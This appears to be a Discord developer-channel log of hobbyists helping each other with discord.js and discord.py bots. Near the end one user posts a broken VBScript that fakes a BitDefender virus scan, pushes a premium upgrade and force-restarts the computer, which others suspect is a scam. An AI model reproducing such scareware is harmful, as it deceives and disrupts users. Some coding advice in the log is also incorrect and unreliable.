#development
1 messages ยท Page 548 of 1
for example
//sometimes i do this
if(something) { return } else {
//code
}```
other times i do this
if(something) { return }
else if(something2) {
//code
}```
Sometimes I do this:
if(something) { var thing = this } else { var thing = noThis! }
yeah i do that as well when everything is a 1 liner
still not clean enough
Whatcha mean? ๐
if (something) let thing = this;
else let thing = noThis!;
this tbh
nah eww
ok im leaving now
there are weirdos who do js if(something) { //code } else { //code2 }
gross
i always do ```java
if(x) {
} else [if(y)] {
}```
java 
ah
that's just to indicate being optional
yeah i use that style most of the time, when both codes are 2+ lines
if there's an else if, it'd go there

yes = true;
if (something)
{
let thing = this;
yes = false;
};
if (!yes != yes)
{
let thing = this2;
}```;
omg
needs more semi-colons
mt js has semicolons on every line
fixed
:^)
i hate people who use ifs without rbackets
can you even use if without brackets
yes
you possibly have a linter on
while(true){ while(true){ while(true){ while(true){ while(true){ while(true){ while(true){ } } } } } } }
i had to modify a C code for a project, it had a bunch of ifs without brackets in it, and it crashed everything because i was trying to add a line to them
i don't got shit installed
it is in fact, bad practice to omit brackets under if statements
oh now it works but looks garbage
that while loop is not any worse than a single while loop
only the last one will execute anyways xd
You all own bots right?
did you know that javascript has a do-while loop implementation
oof nvm that was a stupid question ๐
fml
yeah, read about it once
Anyone with a green name does
never used it tho
r/greenname
lol I asked my friend that and he didn't know what a do-while loop is
ik Steven. Realised that ๐ Was stooooopid of me to ask lul
basically a do-while loop is a post-test loop, meaning the condition is evaluated after the each iteration
How many guilds ya'll bots in atm?
500~
unlike pretest-loops (for and while)
41 :(
I love dbl

i love dbz
repeat until false```
do {
console.log("hello world");
while (false);
can you guess how many times it will output hello world
Oh yeah, another question LUL. How would I put functions in a seperate folder and be able to access it anywhere? ๐
once

0 because that's a syntax error
once
Uh guys? ๐
@earnest phoenix use require
also loops are just glorified gotos :^)
So just plonk my functions into a seperate file and require it?
How would I call it?
js has a weird implementation of goto
var myFunc = require("./dirToFunc")(...);
myFunc(...)
??
or that?
const myfunc = require("./dir/funcfile.js");
myfunc(...)```
Are your commands in seperate folders?
Yea
you can also omit the .js part
Kinda like how the commands work then, it will just be a little different
and in the func.js you need to use js module.exports = function() { //code }
or ```js
function myfunc() {
//code
}
module.exports = myfunc```
you can also put multiple functions in a file
function myfunc1() {}
function myfunc2() {}
module.exports = { myfunc1, myfunc2 }```
Probs better putting them in seperate files... Better to debug right?
not really
const { myfunc1 } = require("./dir/file")```
no need to seprate functions unless they're long, and even if they're long that most likely means that it should be broken down into smaller functions
Okay, thanks guys. Again haha
its a good idea to keep "helper" functions in a single file, small functions that do something specific
for example in a discord bot, you can have a dedicated file for each command, and a functions file with small functions that the commands use
its very useful if you have many commands using the same functions
like your db function
Ah, okay ๐
of course its also possible to have all the small functions in separate files, its just a matter of personal organization preference
its "oh, okay" Sk1ll!!!
No u nut
We are literally in a vc. Shut up pleb
๐
@quartz kindle Okay, I see what you're saying. Thank you.
@quartz kindle In the function() part, would I put the things like, client, message, args etc?
whatever you need the function to have access to
update node
async and await is not works for me
node -v
okay one second i might be called dumb for this but idc
what is shard exactly? and is it really necessary?
i fixed it
and it's required for big bots
nvm
wew
as one shard can't have more than 2500 guilds
oh thank you for explaining ^^
just updated node xD
discord.js?
you don't just "add" shards it depends on what library your using, as sharding is entirely client-side
you send the shard id and shard count in the IDENTIFY payload
no
sharding isn't client side
it is a process entirely controlled by the developer, except for some information exchanged with the server
you can read it yourself if you don't believe me
Step up your game with a modern voice & text chat app. Crystal clear voice, multiple server and channel support, mobile apps, and more. Get your free server now!
i know how sharding works
and the only thing the developer can control is the shard count
everything else is controlled by discord
Guild sharding is entirely user controlled, and requires no state-sharing between separate connections to operate.
such as assigning guilds to shards, invalidating connections with > 2500 guilds
some developers may find it necessary to break or split portions of their bots operations into separate logical processes. As such, Discord gateways implement a method of user-controlled guild sharding which allows for splitting events across a number of gateway connections
and discord requires big bots to be split
the only thing the user can control is the number of shards and/or how different shards may or may not communicate with each other
technically discord has no control over the user's implementation of the sharding strategy
thus it is merely client-side (there are some exceptions as I mentioned before)
they can't control that, but they can enforce their rules
you can technically shard your bot more than discord allows and only interface through a limited amount of them
by your logic sending messages to another user is clientside because the http request is done by the bot
inb4 discord allows clients to assign guilds to specific shards. bot owners move free shards to australian servers and keep premium shards on US servers
Not exactly my point
Why get that ?
What do yall think about this
Well you can shard without that
Hmm?
if you dont have tens of thousands of guilds, use discord.js v12 (master) with internal sharding enabled
Oh
stable has it aswell
I didn't know that
stable has it?
Yes, I shard on stable
Stable has the Shardmanager
I personally wouldn't conform myself with an internal sharding strategy but yea
master has the internal one process separate ws
Kinda wanna try sharding even though my bot isnt popular but is that a good/bad/stupid idea?
if your vps only has 1 core, internal sharding is better
arguable
its stupid to shard if you have less than like 1k guilds
it's good to be future proof
^
Ahah yeah ig
yes, but dont shard when you have like 20 servers
yea
Shard with 1 shard spawn 
also, another advantage of internal sharding is the memory usage, since node's process alone uses like 60-80mb ram
I still need to do more research on shards
how many shards does rhythm have?
it's more of a concept
i see and sorry woops i didnt know that
how many shards are they running per machine?
[01] Rythm : 2,999,663 servers
they must have some sort of income because I am sure no one is sane enough to pay for such vps's
no idea, but last time i heard they had 9 dedis
just for a discord bot
32c32gb each
They make income from donations prob at nearly 3 million servers people are most likely donating
they have premium features like volume control right?
if 0.1% of their users pay, thats 3k+ paying users
I believe so
rythm has a ton of patrons
Woah is rhythm the most popular bot
i believe so
How many discord servers are there 
I thought Dyno was like pretty popular
like 50 million?
gg
Most will be test or just small servers
mee6 is bigger than tatsumaki?
Mee6 was the first bot of discord or what?
Because ever since 2015 I've seen MEE6 a lot.
oh their patreon count dropped, it used to be 2k now it's 1.5k, that still means they earn $1.5k minimally a month
do yall get any income from your bot
No
how many servers is your bot in
Reached 100 today ๐
GG :D
Quick question. How does the guild size work lol
Why does tatsumaki say streaming 1950 guilds?
i got like 100 bucks in donations for my bot
over the course of a year
big bots are split into multiple processes
tatsumaki is showing the amount of guilds in the current process
also called a "shard"
oh, i see.
also the discord outage probably knocked it out
can it not show all?
it can
like combine all shards or smth
yeah
why dont they do it then
i believe its quite expensive
because they didn't want to bother doing that
maybe most of the shards got killed by the outage lol
iirc it always shows only for current shard
maybe
but wait wdym expensive
not really
collecting info from hundreds of shards across multiple machines every x minutes in order to display an accurate guild count will take too many resources
oh i see tim and yeah that too ig natan
could just pull it from dbl's api tbh
and if all shards pulled they'd get ratelimited
oh
and now you also depend on third parties for that to work
damn
i guess once you reach like 700 shards it gets really inefficient
and it would probably be super laggy on internal sharding
you could just set a key in a database or redis instance or whatever
shard-count-shardid
anyone know of a bot that can prune members with a role.
or
that can easily report on users that haven't been seen after X amount of days
if there is a status change event.. I suppose you could log every status change.. but could be a bit much unless its for a few servers
@marble elm it gives Promise { <pending> }
Resolve the promise
In py how would I embed a random image
I know my output is wrong but I got no clue how to fix
@celest arch are you discord py rewrite
Oh I can't help srry
you should switch to rewrite
@celest arch natan told you what to do
remove the quotes
I have an order and I want only 2 IDs to use it, how do I do it?
if (message.author.id !== "528205855200378900" || "523469778690768897") return message.channel.send("Seulement les owners ont le droit d'utiliser cette commande!");
```
You're going to need to be more specific than that
I would like only me and another person to be able to use the bot restart command, only I do not know how to do it @zealous veldt
oh
Sorry for the ping
if(<message>.author.id !== ("your id" || "other person's id") return <message>.channel.send("You do not have permission")```
Thx
yeah
so I had another message.author.id 
you could also have an array of allowed users
Oh
and do ```js
let allowed = ["id", "other id", "anotha one"];
if(!allowed.includes(<Message>.author.id)) return <Message>.channel.send("No");
Yeah
I think indexOf would work too tho, no?
Ye
Never closed the if
With ;?
I'm lost ๐
const Discord = require("discord.js")
const fs = require("fs");
exports.run = async (client, message, args) => {
if(message.author.id !== ("528205855200378900" || "523469778690768897") return <message>.channel.send("You do not have permission"))
try {
await message.reply('Le bot redรฉmarre.');
fs.readdir("./commands/", (err, files) => {
const filez = files.length
if (err) return console.error(err);
message.channel.send(`Refreshed \`${filez + 11}\` commands successfully!`)
console.log("Refreshed " + filez + " commands")
files.forEach(file => {
delete require.cache[require.resolve(`./${file}`)];
});
});
process.exit(1);
} catch (e) {
console.log(e);
}
}```
I have this
Another ) after ...97")
replace <message> with message
That too
I was just saying <message> to mean whatever your message object was called
if(message.author.id !== ("528205855200378900" || "523469778690768897") return <message>.channel.send("You do not have permission"))
With
if(message.author.id !== ("528205855200378900" || "523469778690768897")) return <message>.channel.send("You do not have permission"))
?
if(message.author.id !== ("528205855200378900" || "523469778690768897")```
needs to be
ports.run = async (client, message, args) => {
if(message.author.id !== ("528205855200378900" || "523469778690768897"))```
missing a closing paren )
?
show your code for the if statement
Okay
const Discord = require("discord.js")
const fs = require("fs");
exports.run = async (client, message, args) => {
if(message.author.id !== ("528205855200378900" || "523469778690768897")) return message.channel.send("You do not have permission")
try {
await message.reply('Le bot redรฉmarre.');
fs.readdir("./commands/", (err, files) => {
const filez = files.length
if (err) return console.error(err);
message.channel.send(`Refreshed \`${filez + 11}\` commands successfully!`)
console.log("Refreshed " + filez + " commands")
files.forEach(file => {
delete require.cache[require.resolve(`./${file}`)];
});
});
process.exit(1);
} catch (e) {
console.log(e);
}
}```
can you use a condition like that in JS? check against 2 values?
Uh I'm just trying to allow 2 IDs only to restart the bot
(message.author.id !== 123456 && message.author.id !== 654321)
Thx i try :c
no @mental solstice
That wont work
that wont worl
I hate js syntax
It wont ever be both
it should be || not &&
:/
if it's not either or, it will return
&& means and
yes
so the code you suggested in wrong
Both must be true, no one person will make both those conditions true
yes sorry..
How should I do it?
shouldnt it send message then return
What do you mean?
nothing
Okay..
just used to coding top to bottom
the script is already done but I would like only me and my friend to restart the bot
if(id == "123" || "124"){
console.log("Hi")
}
``` this works with both 123 and 124
Notepad++ for the modifications
oh, ok Steven, he had it like that before.. I'll just stay out of it ๐ I've been up for about 48 hours anyway
boosting his commands count to make it look more popular
More popular?
?
lol kidding he did files.length + 11
Ye idk why thats there 
What's the problem?
The + 11 we were wondering why its there
It does not matter
:)

debug. use break points
you got the right id?
Yes
yes in VSCode
First: 528205855200378900
Second: 523469778690768897
if you debug, you will be able to watch your objects and see the values assigned
you can console.log(message.author.id) before the if to see if the id is right
Okay
I'm lost T-T
I'm only trying to run a command for 2 IDs and have a ton of manipulations lol
Again an error
ok, enclose your try catch in the if statement, and check if the author.id == "yourid" instead of if !== return
If he does not check the IDs he will restart
Oh
But for 2 IDs not 1
Hey can anyone help me with my code real fast?
if(message.author.id == "some_id" || "another_id"){}else{return some stuff}
Okay
if (reaction.message.id != '530931660774965289') return;```
It says it can't read message of undefined, so how else can I check the message's id? I don't usually work with the messageReactionAdd event so idk much.
d.js?
Yeah
It's weird seeing that an object ID in other libraries is a string and not an integer
The parameter passed is named reaction right?
Yeah, here is the full code line:
bot.on('messageReactionRemove', (reaction, user) => {
if (reaction.message.id != '530931660774965289') return;
console.log(`${user.username} removed their "${reaction.emoji.name}" reaction.`);
});```
Wrong line whoops
Okay
no user can have both id's 
Yes exactly
yes I thought I was right.. but to tired to argue
so if he's using !id1 || !id2 it will never be false
Which means that if he does the command it will return as only 1 condition is true
both ids had to be false to return.. if 1 was true.. it would he went to reset
Do you need an example xd
Clearly not if it works I dont need an example
๐
for the first code he put though. it should have been &&
This line is fonctional if(message.author.id == "528205855200378900" || "523469778690768897"){}else{return message.channel.send("Tu n'a pas la perm")}
And @earnest phoenix literally skipped over you sorry, try logging reaction.message.id
He asked a question earlier and it was neglected.
Regarding Nick's question now
that's a rich embed
Look up embed object in the docs of library that you are using
ok thanks
It does not log anything @amber fractal
lol
Wait it did log a error ๐ค
Is the reaction event even happening?
TypeError: Cannot read property 'message' of undefined
reaction is undefined
Ah
will console.log(reaction) print the entire object?
Code: console.log(reaction.message.id);
Its a parameter of his messageReactionAdd
Yeh
remove*
I am using a message sent before the bot, I do use the raw event so idk if that is the problem
that was the issue
so that means my raw event is messed up
Here is my raw event. Any ideas?
const events = {
MESSAGE_REACTION_ADD: 'messageReactionAdd',
MESSAGE_REACTION_REMOVE: 'messageReactionRemove',
};
bot.on('raw', async event => {
if (!events.hasOwnProperty(event.t)) return;
const { d: data } = event;
const user = bot.users.get(data.user_id);
const channel = bot.channels.get(data.channel_id) || await user.createDM();
if (channel.messages.has(data.message_id)) return;
const message = await channel.fetchMessage(data.message_id);
const emojiKey = (data.emoji.id) ? `${data.emoji.name}:${data.emoji.id}` : data.emoji.name;
const reaction = message.reactions.get(emojiKey);
bot.emit(events[event.t], reaction, user);
});```
Raw event returns a message id, not the object
What happened if two bots are using the same Token ?
2 instances
hmmm
2 programs use the same bot account for their own benefit
Would it terminate the older connection?
How do you think sharding works?
If the bot has 2 seperate codes and commands I think is what he means
logging into the same client
Also, how does discord know that those are 2 different codes?
Ill just try it...

I just want to see if you can use commands from both files or not
I'll try and see what happened,
For example I've a bot who have its own command and the other side I start an other bot with the same Token to read all messages
No offense, but this is so easy to understand what will happen that I don't even need to test it to prove it
Alright
So I have a purge command
But when I use it
it deleted the number I want - 1
because it also deletes me saying >>purge <num>
Yeah Ik, but it's still annoying
Just add one to the input?
User expectation: they want to delete the number of messages without taking the command message into account
if(command === `${prefix}purge` || command === mentionprefix + "purge") {
if(!message.member.hasPermission("MANAGE_MESSAGES") && message.author.id !== ownerID) return message.channel.send("`You must have 'MANAGE_MESSAGES' permission to use this command`")
const messagecount = args[0]
if(!message.guild.member(botID).hasPermission("MANAGE_MESSAGES")) return message.channel.send("Please add " + "`" + "MANAGE_MESSAGES" + "`" + " Permission on me in order to delete messages on this channel.")
message.channel.fetchMessages({limit: messagecount})
.then(messages => message.channel.bulkDelete(messages))
.then(messages => message.channel.send("Deleted " + messages.size + " messages"))
.then(r=> r.delete('1000'))
}
you count right after the first if(command...) add a message.delete()
Wait
idk if that works
do console.log args[0] see if it's the command or the number
below const messagecount = args[0] put console.log(messagecount)
yeah try.. see what it outputs
And to what we talked about earlier... the second one didnt login at all
I may have done something wrong gimme a sec
Ye it just splits it into 2 you can use every command in each
How young does a bot have to be considered "new"
And be on the "Trending New Bots" page

dbl is worse
I am back
Having 2 different bits of code for your bot would just fire the events on both
pretty simple xd
Was there a problem with testing it tho?
does that mean If I resubmit my bot when v2 comes out, I can be on the trending new bot

I wouldn't test obvious stuff
if(command === `${prefix}purge` || command === mentionprefix + "purge") {
if(!message.member.hasPermission("MANAGE_MESSAGES") && message.author.id !== ownerID) return message.channel.send("`You must have 'MANAGE_MESSAGES' permission to use this command`")
const messagecount = args[0]
if(!message.guild.member(botID).hasPermission("MANAGE_MESSAGES")) return message.channel.send("Please add " + "`" + "MANAGE_MESSAGES" + "`" + " Permission on me in order to delete messages on this channel.")
message.channel.fetchMessages({limit: messagecount})
.then(messages => message.channel.bulkDelete(messages))
.then(messages => message.channel.send("Deleted " + messages.size + " messages"))
.then(r=> r.delete('1000'))
}```
What were you talking about with this
Steven
How do i make bot
Ok
like 2 months ago
is coding hard
Anyone that can explain the largeTreshold option for Eris
It gave me this
@toxic vessel This isn't support for that.
What language are you going to write it in?
What do you mean
....
What do you mean what do I mean
if he starts he should use nodejs... easiest way ...
I use node
I love node
me2
Html?
Ok
wtf
dude that's what websites can be made of.
We're talking about a discord bot.
ok
Go to this server and ask your stuff there
stop naming languages
and go to that server
or this server http://discord.gg/discord-api
Why cant i ask here
Because this isnt the fucking place to do that kiddo.
Why call me kiddo?
Cause you act young.
why you dont use youtube tutorials... every step is in there lol
Then why did you ask why I called you a kiddo?
Why not
Alright
I learned how to create bot by watching videos
You don't learn a language from discord bot tutorials
You would only know how to make what they are showing.
@toxic vessel how old are you
13
@toxic vessel http://discord.gg/discord-api

ok
Go to that server
whew
I joined it already
Ok
This is for developement.
...
you need to install discord.js
before you try to make a bot in js just learn js itself @toxic vessel
https://www.codecademy.com/catalog/language/javascript https://developer.mozilla.org/en-US/docs/Web/JavaScript
Codecademy is the easiest way to learn how to code. It's interactive, fun, and you can do it with your friends.
Oh okay
I installed discord js but now annother error...
12:31 PM
12:31 PM
SyntaxError: missing ) after argument list
learn
js 
no...
you'll be able to fix it if you know js
and you actually write your own code
instead of copying it from a youtube tutorial or whatever
agreed
I learned discord.JS from a video, and now have advanced bots. [But I mean I did web development before, so I sort of knew JS]
Ok i will learn java script
there is a differents in learning js and coping js and pasting
I'm in computer science classes, but Imma be honest they don't help that much.
It felt like a waste of time
I finished the entire year of work in 2 marking peroids
It's just not worth the time
Discord.Cilent is not a constructor Wth
did you require discord.js?
You spelled โclientโ wrong
Anybody interested in wireless chargers for iphone or samsung
oh
wireless charger you say?
mmYes very advanced bots
y e s
o o f
Hey!
I need help to integrate a vote system to my bot.
I first wanted to use the vote checker (user per user) and then I wanted the webhook.
I have 2 questions, what is the best and how would I use the Best solution.
Tanks for the help you will give ^^
-> I'm using discord.py rewrite version
Is it possible to make the bot add reactions to a message just by giving the bot the message ID?
[check for add reactions permission] -> channel.fetchMessage(id).react()
if using d.js v11
I'm using Discord.NET 1.0.2
.GetMessage(ID).AddReactionAsync();
should be something like that
but then again it might be in 2.0 only
I write
await m.reactions.find(r => r.emoji.name == emoji).remove(msg.author.id).catch(() => {
if (!message.member.hasPermission("MANAGE_MESSAGES")) {
console.log("missing Permissions!");
}
});
but it still says "Unhandled promise rejection"? But i catch it?
@upper tundra use ITextChannel's GetMessageAsync
Which OS is better to run Node applications?
any that supports node
Then witch it's better from Ubuntu and CentOS?
personal preference

Okay Thanks
@earnest phoenix no idea what centOS is, but ubuntu is fine with hosting it
sp on svc, i ran the code and got ```npm : The term 'npm' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
- npm install
-
+ CategoryInfo : ObjectNotFound: (npm:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException```
it should be added to path
but it gives
where is that
where is what?
path
iirc node installer gives you the option to add it to PATH automatically
LTS probably, if you end up needing 11.x.x just install that
and just save it like normal
ah ok i see the path bit
what option?
i just chose install when required
right, i fixed all of that, now a small problem
Error: Cannot find module 'discord.js'
(npm extension added)
i copied it as text from https://discordapp.com
Did you save the file when changing the token
yes
Try to Regen a new token, copy it, then save the file and try again
Are you sure you're using the right thing
yes
This?
const client = new Discord.Client();```
Don't u need to put your token in there

yes
And are now trying to host it local from vsc?
yes
You have a .env file right
yes
You need some module to load those env variables
oh
how can i add that?
Try using this https://www.npmjs.com/package/dotenv
@granite tartan
Think all you have to do is install that and then put require('dotenv').config()
just got 4 random dms from @sullen granite
Yeh same, it's already muted lol
As long as you're not putting your code anywhere public 
People, how can i ping a random people in my server using the command ?
@client.command *
@someone lol
a random number out of the guild userlist.length then send message "<@{guildUserList[randomNumber].id}> Youve been randomly tagged!!!"
how to handle votes? like with a webhook?
depends what u want to do when someone votes for your bot
er wait youre trying to get set up to recieve webhooks.. what language are u using?
Java, using JDA
I have the discord bot list api setup and in the code.
I have setup a webhook connected with DiscordBotList, but how do I get if a vote is registered
you would put in the web address to your public ip and specified port. there are a few webhook listeners online
public ip?
of where the bot is being hosted from.. http://192.168.0.1:5000 for example.. ofc that's not my public ip
yes.. DBL will send a request to your java webhook server. containing the details of the upvote
๐
Hey, what do you guys use for image manipulation with node? Iโm using Jimp right now and wondering if thereโs a better option.
Jimp works ok, it can be odd to use. I was having some troubles yesterday with it but that was probably just getting a bit frustrated with it.
const client = new Discord.Client();
var randomstring = require('randomstring');
exports.run = (client, message) => {
message.author.send(
randomstring.generate({
length: 12,
charset: 'alphabetic'
}))
};
message.channel.send("Sprawdลบ prywatne wiadomoลci!")
exports.conf = {
enabled: true,
guildOnly: false,
aliases: ['p'],
permLevel: 0
};
exports.help = {
name: 'losowehasลo',
description: 'Losuje hasลo',
usage: 'losowehasลo'
};```
help me
The error: message is not defined
define it
thats coming from the file where youre running that file i think
In your main file (app.js, index.js) did you pass message?
another brilliant idea is learning how to code properly, because your exports.run function is a scope and your message.channel.send is outside of that scope
try reading these
Understanding EcmaScript 6: The Definitive Guide for JavaScript Developers
http://www.r-5.org/files/books/computers/languages/escss/fp/Nicholas_C_Zakas-Understanding_ECMAScript_6-EN.pdf
The Principles of Object-Orientated JavaScript
http://www.r-5.org/files/books/computers/languages/escss/fp/Nicholas_C_Zakas-The_Principles_of_JavaScript-EN.pdf
JavaScript with Promises
http://www.r-5.org/files/books/computers/languages/escss/fp/Daniel_Parker-JavaScript_with_Promises-EN.pdf
Beginning Functional JavaScript: Functional Programming with JavaScript using EcmaScript 6
http://www.r-5.org/files/books/computers/languages/escss/fp/Anto_Aravinth-Beginning_Functional_JavaScript-EN.pdf
Keb aren't they pinned
yes @scenic vapor
Hunter read what snowy just said
another brilliant idea is putting the send() in the scope where message is actually defined
or another brilliant idea for me would be to read previous messages
congratulations
nice
shut the heck up
frick you
Why does NameError get ignored by this error handler? https://hastebin.com/ocireyetog.py
No try-except neither local error handlers included
How would I go about setting a mention prefix?
by testing if the message starts with the mention of the bot
anyone know of a good package for image manipulation? currently using Jimp, want to know if thereโs any better ones out there.
canvas
thanks am gonna look into it
if(command === `${prefix}blacklist` || command === `${mentionprefix}blacklist`) {
const who = args[0]
const who2 = args.slice(1).join(' ')
var dir = `./blacklisted/${who}`;
if (!fs.existsSync(dir)){
fs.mkdirSync(dir);
}
fs.writeFile(`./blacklisted/${who}/black.txt`,"true", function(err) {
fs.writeFile(`./blacklisted/${who}/reason.txt`, who2, function(err) {
let se = bot.users.get(who).send("`" + "Hello, You have been added to " + bot.user.username + "'s blacklist for the following reason: " + who2 + " / This means you are no longer permitted to use the bot. If you think this was unfair/wish to get un-blacklisted, please contact bot owner." + "`")
if(!se) return;
message.channel.send("`" + "User was blacklisted and was sent a message saying they were blacklisted for:" + who2 + "`")
setTimeout(function() {
let lol = bot.guilds.filter(r=> r.owner.id === who)
lol.forEach(async(guild, id) => {
guild.leave()
});
}, 1000);
});
});
}```
This command is not working
I don't remember editing it
is it from the indentation?
Whats the problem
The command isn't running.
I run the command
blacklist <USER_ID> <REASON>
then nothing happens
@topaz fjord
Hey guys I'm getting an error with discord.js
const { Client, RichEmbed } = require('discord.js');
^
SyntaxError: Unexpected token {
at exports.runInThisContext (vm.js:53:16)
at Module._compile (module.js:373:25)
at Object.Module._extensions..js (module.js:416:10)
at Module.load (module.js:343:32)
at Function.Module._load (module.js:300:12)
at Function.Module.runMain (module.js:441:10)
at startup (node.js:139:18)
at node.js:990:3
when I'm running the bot on my Linux V-Server.
The same issue doesn't appear on my Windows machine though.
Does anyone know why this occurs?
try updating node
you can either update node or do it this way:
const djs = require("discord.js");
const Client = djs.Client;
const RichEmbed = djs.RichEmbed;
...
and I believe that even with the latest node it wouldn't allow you to use the deconstruction assignments
so you might want to check that
another option you may want to look at is using babel
how do i ignore specific channel
i mean server
ignore how
you mean in code
yea discordjs
what specifically do you want to ignore
about it
messages sent in such guild?
bot adds role to new users
so i want it to ignore all other guilds
you'll have to add a guard where you add roles
and add only to one
to ignore specific servers
servers have unique ids
@earnest phoenix const {..} = require.. works in node 10 iirc (and probably 8 too)
you can use them to specify what server
or i can just make new bot for server
probably
@inner jewel thanks a lot! That did it. My hosting provider apparently gave me an outdated version of linux hence the old packages.
I don't think that works in 8
not sure
I believe it's >=10
I wouldn't be surprised if his version was node 8
it would be unusual for a linux to come with a node version lower than 8
even if somewhat outdated
So I saw this guy's bot do a pull command
Example
Me: ?pull
Bot: Pulling changes
Also bot: Pulled! Restarting
Any help?
btw discord.js
im assuming the bot pulls its source code from the repository and restarts
yea
we dont spoonfeed, look into github docs
oke
Another question
Basically I want the bot to send a message if the command they use has an error.
Example
Me: ?kick (member)
Bot: (has an error that is displayed in the console [cmd.exe or something]) Error: Cant read property of null. Sending this to developers
discord.js
can you give example plz
member.kick().catch(err => message.channel.send(err))```
if the member.kick() promise returns an error, .catch() will catch and you can do a callback or hwatever its called
well how can i catch the error displayed in console and throw it to a channel
client.channels.get('id').send(err)
yw
can i use css in bot page?
not really
only for certified
so i shouldn't add js?
no
you are not allowed to use js unless you have applied for a certification
Applied or accepted?
both
how do i apply 
not found
Ye
O
Lol
i know this isnt about bots but can someone tell me what the issue is here?
X=MsgBox("Unable to fix this error Do you want to scan your computer",3+48,"Computer Scan")
X=MsgBox("!Alert! Virus has been detected. Do you want to delete this virus?",3+48,"BitDefender 2019")
X=MsgBox("Starting Virus Removal Process..",1+64,"BitDefender 2019")
X=MsgBox("Please consider upgrading to a Premium Plan for firewall & More!",0+16,"BitDefender 2019")
X=MsgBox("Checking for multiple virus's ",2+16,"BitDefender 2019")
X=MsgBox("Multiple Virus's Detected",2+16,"Deletion In Progress")
X=MsgBox("Checking if BitDefender is activated.",2+16,"BitDefender 2019")
X=MsgBox("Removing Virus: Reading file details",2+16,"BitDefender 2019")
X=MsgBox("10%",1+64,"BitDefender 2019")
X=MsgBox("25%",0+32,"BitDefender 2019")
X=MsgBox("45%",0+16,"BitDefender 2019")
X=MsgBox("59%",0+16,"BitDefender 2019")
X=MsgBox("100%",0+16,"BitDefender 2019")
X=Msgbox("Are you sure to want to remove the virus?", & mname, vbYesNo, "Virus Removal") = vbYes then
Set WSHShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:\WINDOWS\system32\shutdown.exe -r -t 0"
next
end if```
@brittle loom is there an error?
is that C#?
also r u making a fake antivirus
i remember VBS
@brittle loom i honestly haven't used it in years, but what's happening with it?
the issue is, you dont have the correct syntax, and it's been about 10 years since I've used Visual Basic. you'll need to do If X = vbYes Then all the other MsgBox you dont need to define. just the last one
dim x = msgbox.. iirc
also the parameters in your last msgbox & mname that will probably throw an error
Legit this all seems like a scam
Probably
so i shouldnt have loaned given him $5,000 in iTune cards he had me go to the store and buy?
its either vbs or batch
Is there anyway to code a command that can make your bot restart
By doing like !restart
In Discord.py async
python probably has a way to exit the process
Yes.
The only good way to restart your bot is to let it die and have your process manager handle it.
Do use:
- run your bot in a process manager such as:
- systemd
- openrc (gentoo, devuan)
- runit (void linux)
- supervisord
- upstart (old ubuntu)
- manually reboot it
Do not use:
- a bash loop (it can eat your C-c by rapidly spawning python and if your bot fails it won't stop it from constantly failing)
- subprocess.call (you will eat your memory up by not letting your old processes die)
- os.exec*
ok @amber fractal
So you dont know javascript?
yes
You do?
yes
Alright.
i use visual studio code
How do you plan on hosting the bot?
i didnt understand
yes
Well, we'll need to get you ser up to use discord.js then
ok
Youll need to get nodejs
https://discordbots.org/bot/513731543982800899 this is my bot
what is node js
a app??
Its a javascript runtime enviornment
Check out https://blog.teamtreehouse.com/install-node-js-npm-windows to install nodejs
Im tired and if i explained it id probably die
ok
Tbh i have no idea if thats outdated
4 years ago
Id say it is
Let me find a better one
Yes
i have it
Open an elevated command prompt and type node -v and tell me what it says
what?




